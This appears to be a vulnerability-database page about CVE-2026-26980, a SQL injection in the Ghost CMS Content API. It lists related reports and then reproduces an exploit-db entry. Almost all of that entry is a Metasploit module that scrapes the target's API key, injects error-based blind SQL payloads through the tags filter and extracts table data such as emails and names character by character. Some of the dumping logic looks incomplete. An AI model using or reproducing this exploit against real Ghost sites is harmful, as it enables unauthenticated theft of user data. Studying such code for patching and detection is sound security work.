| Reporter | Title | Published | Views | Family All 25 |
|---|---|---|---|---|
| Exploit for SQL Injection in Ghost | 29 May 202604:16 | – | githubexploit | |
| Exploit for SQL Injection in Ghost | 17 Apr 202619:15 | – | githubexploit | |
| Exploit for SQL Injection in Ghost | 29 Mar 202622:00 | – | githubexploit | |
| CVE-2026-26980 | 20 Feb 202601:00 | – | attackerkb | |
| CVE-2026-26980 | 20 Feb 202602:18 | – | circl | |
| Ghost SQL注入漏洞 | 20 Feb 202600:00 | – | cnnvd | |
| CVE-2026-26980 | 20 Feb 202601:00 | – | cve | |
| CVE-2026-26980 Ghost has a SQL Injection in its Content API | 20 Feb 202601:00 | – | cvelist | |
| Ghost CMS 6.19.0 - SQLi | 7 May 202600:00 | – | exploitdb | |
| Ghost has a SQL injection in Content API | 18 Feb 202621:50 | – | github |
==================================================================================================================================
| # Title : Ghost CMS 6.19.0 Unauthenticated Content API Blind SQL Injection |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits) |
| # Vendor : https://ghost.org/ |
==================================================================================================================================
[+] Summary : This is a Metasploit auxiliary module targeting a blind, unauthenticated SQL injection vulnerability in the Ghost CMS Content API (versions 3.24.0 to 6.19.0).
[+] POC :
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Auxiliary::Report
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Scanner
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Ghost CMS Unauthenticated SQL Injection via Content API',
'Description' => %q{
Ghost CMS versions 3.24.0 through 6.19.0 contain an unauthenticated SQL injection
vulnerability in the Content API.
},
'Author' => [
'indoushka'
],
'References' => [
['CVE', '2026-26980']
],
'License' => MSF_LICENSE,
'DisclosureDate' => '2026-03-30'
)
)
register_options([
OptString.new('TARGETURI', [true, 'Base path for Ghost installation', '/']),
OptString.new('API_KEY', [false, 'Ghost Content API Key', '']),
OptString.new('API_PATH', [false, 'Content API path', '']),
OptEnum.new('DBMS', [true, 'Database engine', 'sqlite', ['sqlite', 'mysql']]),
OptString.new('TABLE', [false, 'Specific table', '']),
OptString.new('COLUMNS', [false, 'Columns', '']),
OptInt.new('THREADS', [true, 'Threads', 15]),
OptInt.new('TIMEOUT', [true, 'Timeout', 10])
])
end
def setup
@base_uri = normalize_uri(target_uri.path)
@api_key = datastore['API_KEY']
@api_path = datastore['API_PATH']
@dbms = datastore['DBMS']
@threads = datastore['THREADS']
@timeout = datastore['TIMEOUT']
@table_to_dump = datastore['TABLE']
@columns = datastore['COLUMNS']&.split(',')&.map(&:strip)
@charset = "$./0123456789:ABCDEFGHIJKLMNOPQRSTUVWXYZ_abcdefghijklmnopqrstuvwxyz@!#%^&*()+-=".chars
@error_indicator = "InternalServerError"
@api_endpoint = nil
@tag_slug = nil
@tag_id = nil
@url_template = nil
end
def run_host(ip)
print_status("Ghost SQLi CVE-2026-26980")
print_status("Target: #{peer}")
unless discover_api_endpoint
print_error("Discovery failed")
return
end
unless verify_oracle
print_error("Oracle failed")
return
end
if @table_to_dump && !@table_to_dump.empty?
dump_table(@table_to_dump)
else
perform_reconnaissance
end
end
def discover_api_endpoint
res = send_request_cgi({
'uri' => normalize_uri(@base_uri),
'method' => 'GET'
})
return false unless res && res.code == 200
if res.body =~ /data-key="([a-f0-9]+)"/
@api_key = Regexp.last_match(1)
else
return false
end
if res.body =~ /data-api="([^"]+)"/
api_raw = Regexp.last_match(1)
path = URI.parse(api_raw).path
@api_endpoint = normalize_uri(@base_uri, path)
@api_endpoint = "#{@api_endpoint}/"
else
return false
end
discover_tag_from_api
end
def discover_tag_from_api
res = send_request_cgi({
'uri' => normalize_uri(@api_endpoint, 'tags/'),
'method' => 'GET',
'vars_get' => { 'key' => @api_key }
})
return false unless res && res.code == 200
json = JSON.parse(res.body)
return false unless json['tags'] && json['tags'][0]
@tag_slug = json['tags'][0]['slug']
@tag_id = json['tags'][0]['id']
slug = Rex::Text.uri_encode(@tag_slug.to_s)
@url_template = "#{@api_endpoint}tags/?key=#{@api_key}&filter=slug:['*',#{slug}]&limit=all"
true
rescue
false
end
def verify_oracle
check_condition("1=1") && !check_condition("1=2")
end
def check_condition(condition)
if @dbms == "mysql"
error_payload = "(SELECT exp(710))"
else
error_payload = "(SELECT abs(-9223372036854775808))"
end
payload = " OR CASE WHEN (#{condition}) THEN #{error_payload} ELSE 0 END AND slug="
url = @url_template.gsub("*", payload, 1)
res = send_request_cgi({
'uri' => url,
'method' => 'GET',
'timeout' => @timeout
})
return false unless res && res.body
res.body =~ /badrequesterror/i || res.body =~ /#{@error_indicator}/i
rescue
false
end
def get_query_length(query)
length = 0
[64, 32, 16, 8, 4, 2, 1].each do |bit|
if check_condition("LENGTH((#{query}))>=#{length + bit}")
length += bit
end
end
length
end
def get_query_char(query, position)
low = 0
high = @charset.length - 1
while low < high
mid = (low + high) / 2
char_code = @charset[mid].ord
condition = "ASCII(SUBSTR((#{query}),#{position},1))>=#{char_code}"
if check_condition(condition)
low = mid + 1
else
high = mid
end
end
@charset[low]
end
def extract_data(query, label, force_length = nil)
length = force_length || get_query_length(query)
return "" if length.nil? || length.to_i <= 0
result = []
(1..length).each do |pos|
result << get_query_char(query, pos)
end
result.join
end
def dump_table(table_name)
print_status("Dumping: #{table_name}")
count = get_query_length("SELECT COUNT(*) FROM #{table_name}")
return if count <= 0
(0...count).each do |i|
row = {}
['id', 'email', 'name'].each do |col|
row[col] = extract_data("SELECT #{col} FROM #{table_name} LIMIT 1 OFFSET #{i}", col)
end
end
end
end
Greetings to :==============================================================================
jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
============================================================================================Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation